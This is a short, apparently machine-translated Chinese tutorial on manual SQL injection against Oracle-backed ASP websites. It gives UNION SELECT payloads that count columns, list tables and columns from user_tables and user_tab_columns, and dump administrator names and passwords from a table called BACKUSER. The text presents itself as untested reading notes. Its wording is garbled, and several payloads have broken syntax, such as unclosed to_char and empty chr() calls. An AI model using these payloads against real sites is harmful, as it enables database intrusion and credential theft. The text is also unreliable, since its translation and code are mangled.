Oracle manual injection method

This document is for Reading Notes and has not been tested by experiments.
Non-security, 2010,5, P111

Note: in Oracle, except commands, these two tables are case sensitive, while user_tables and user_table_columns are case sensitive by default.
1. Find the injection point
For: Error Keyword: REA-01xxx, target site with: ASP + ORACLE

========================================================== ======================================
2. Order by determines the number of fields
Because Oracle does not automatically match the field data type, NULL is used instead, and the Data Type of each field is determined one by one. Assume that the final statement is as follows:
Union select 1, 2, 3, 4, 5, 6, 7, null, 1, 0, 11, 12 from dual --

Suppose 5. You can get the relevant information.

========================================================== ======================================

3. Burst fields.
Oracle does not require database exposure. Other databases may be used only when the database is added.
Determine the total number of data tables in the current database:
Union select 1, 2, 3, 4, to_char (count (table_name), 6, 7, null, 1, 0, 11, 12 from

User_tables --
You can find the total number of data tables at 5
Start to pop up the table name:
Union select 1, 2, 3, 4, table_name, 6, 7, null, 1, 0, 11, 12 from user_tables where

Rownum = 1 --
Union select 1, 2, 3, 4, table_name, 6, 7, null, 1, 0, 11, 12 from user_tables where

Rownum = 1 and table not in (ADCOLUMN )--
Every time one is exposed, add one in.

========================================================== ======================================

The following field continues to pop up. For example, the Administrator table is BACKUSER.
Union select 1, 2, 3, 4, column_name, 6, 7, null, 1, 0, 11, 12 from user_tab_columns where

Rownum = 1 and table_name = BACKUSER --
Union select 1, 2, 3, 4, column_name, 6, 7, null, 1, 0, 11, 12 from user_tab_columns where

Rownum = 1 and table = BACKUSER and column not in (GID )--
Every time one is exposed, add one in.

========================================================== ======================================

4. After the table name and field names are determined, the content will pop up.
For example, name and password are the key fields.
Union select 124, name | chr () | password, null, from BACKUSER

Where rownum = 1 --
Union select 124, name | chr () | password, null, from BACKUSER

Where rownum = 1 and name <> information department --
Until all content is exposed